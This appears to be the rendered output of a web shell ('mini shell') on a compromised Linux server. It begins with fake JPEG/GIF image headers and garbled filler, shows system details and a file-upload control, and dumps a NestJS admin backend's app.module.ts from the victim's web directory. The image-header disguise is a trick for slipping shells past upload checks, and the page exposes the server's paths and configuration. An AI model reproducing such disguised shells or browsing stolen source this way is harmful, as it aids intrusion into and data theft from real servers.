ÿØÿà JFIF  H H ÿÛ C   GIF89; Eú tiket mi chék chéúfetál .

Eú tiket mi chék chéúfetál .

System: Linux srv913213 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64

Current Path : /var/www/talentgenesis_admin_backend/src/
Upload File :
Current File : /var/www/talentgenesis_admin_backend/src/app.module.ts

import { Module } from '@nestjs/common';
import { AppController } from './app.controller';
import { AppService } from './app.service';
import { TypeOrmModule } from '@nestjs/typeorm';
import { RoleModule } from './admin/role/role.module';
import { PermissionModule } from './admin/permission/permission.module';
import { UserModule } from './admin/user/user.module';
import { LoggerModule } from './logger/logger.module';
import { ActivityLogModule } from './activity-log/activity-log.module';
import { AdminModule } from './admin/admin.module';
import { ThrottlerModule, ThrottlerGuard } from '@nestjs/throttler'
import { AwsModule } from './image-upload/aws_upload.module';
import { APP_FILTER, APP_GUARD } from '@nestjs/core';
import { ConfigModule, ConfigService } from '@nestjs/config';
import { AuthModule } from './mobile/auth/auth.module';
import { MyprofileModule } from './mobile/myprofile/myprofile.module';
import { NotificationModule } from './notification/notification.module';
import { CheckPlayStoreModule } from './mobile/check_play_store/check_play_store.module';
import * as fs from 'fs';
import { ThrottlerExceptionFilter } from './helpers/throttler-exception.filter';
import { join } from 'path';
import { ServeStaticModule } from '@nestjs/serve-static';
import { TartanhqApiModule } from './tartanhq-api/tartanhq-api.module';
import { OtpGenerateModule } from './otp-generate/otp-generate.module';
import { EnquiryModule } from './enquiry/enquiry.module';
import { StatusModule } from './status/status.module';
import { CountryModule } from './country/country.module';
import { StateModule } from './state/state.module';
import { DistrictModule } from './district/district.module';
import { JobCategoryModule } from './admin/master-settings/job-category/job-category.module';
import { JobSkillsModule } from './admin/master-settings/job-skills/job-skills.module';
import { DegreeLevelModule } from './admin/master-settings/degree-level/degree-level.module';
import { LetsConnectModule } from './lets-connect/lets-connect.module';
import { DashboardModule } from './admin/dashboard/dashboard.module';
import { QuoteModule } from './quote/quote.module';


@Module({
  imports: [
    ConfigModule.forRoot({
      isGlobal: true,
      envFilePath: ['.env', '.env.dev', '.env.stage', '.env.prod'],
    }),

    TypeOrmModule.forRootAsync({
      imports: [ConfigModule, ServeStaticModule.forRoot({
        rootPath: join(__dirname, '..', 'uploads'),
        serveRoot: '/uploads'
      })],
      inject: [ConfigService],
      useFactory: (config: ConfigService) => ({
        type: 'mysql',
        host: config.get<string>('HOST'),
        port: config.get<number>('PORT'),
        username: config.get<string>('USER_NAME'),
        password: config.get<string>('PASSWORD'),
        database: config.get<string>('DATABASE_NAME'),
        entities: [__dirname + '/**/*.entity.{ts,js}'],
        synchronize: true,
      })
    }),
    ThrottlerModule.forRoot(
      [{
        ttl: 1000,
        limit: 2,
      }]
    ),
    AdminModule,
    UserModule,
    RoleModule,
    PermissionModule,
    LoggerModule,
    ActivityLogModule,
    AwsModule,
    AuthModule,
    MyprofileModule,
    NotificationModule,
    CheckPlayStoreModule,
    // RoleGuardModule,
    TartanhqApiModule,
    OtpGenerateModule,
    EnquiryModule,
    StatusModule,
    CountryModule,
    StateModule,
    DistrictModule,
    JobCategoryModule,
    JobSkillsModule,
    DegreeLevelModule,
    LetsConnectModule,
    DashboardModule,
    QuoteModule
  ],

  controllers: [AppController],
  providers: [AppService, {
    provide: APP_GUARD,
    useClass: ThrottlerGuard
  }, {
      provide: APP_FILTER,
      useClass: ThrottlerExceptionFilter,
    },],
})
export class AppModule { }

xxxxx1.0, XXX xxxx
SPECIMENT MINI SHELL - RECODED FROM PHANTOM GHOST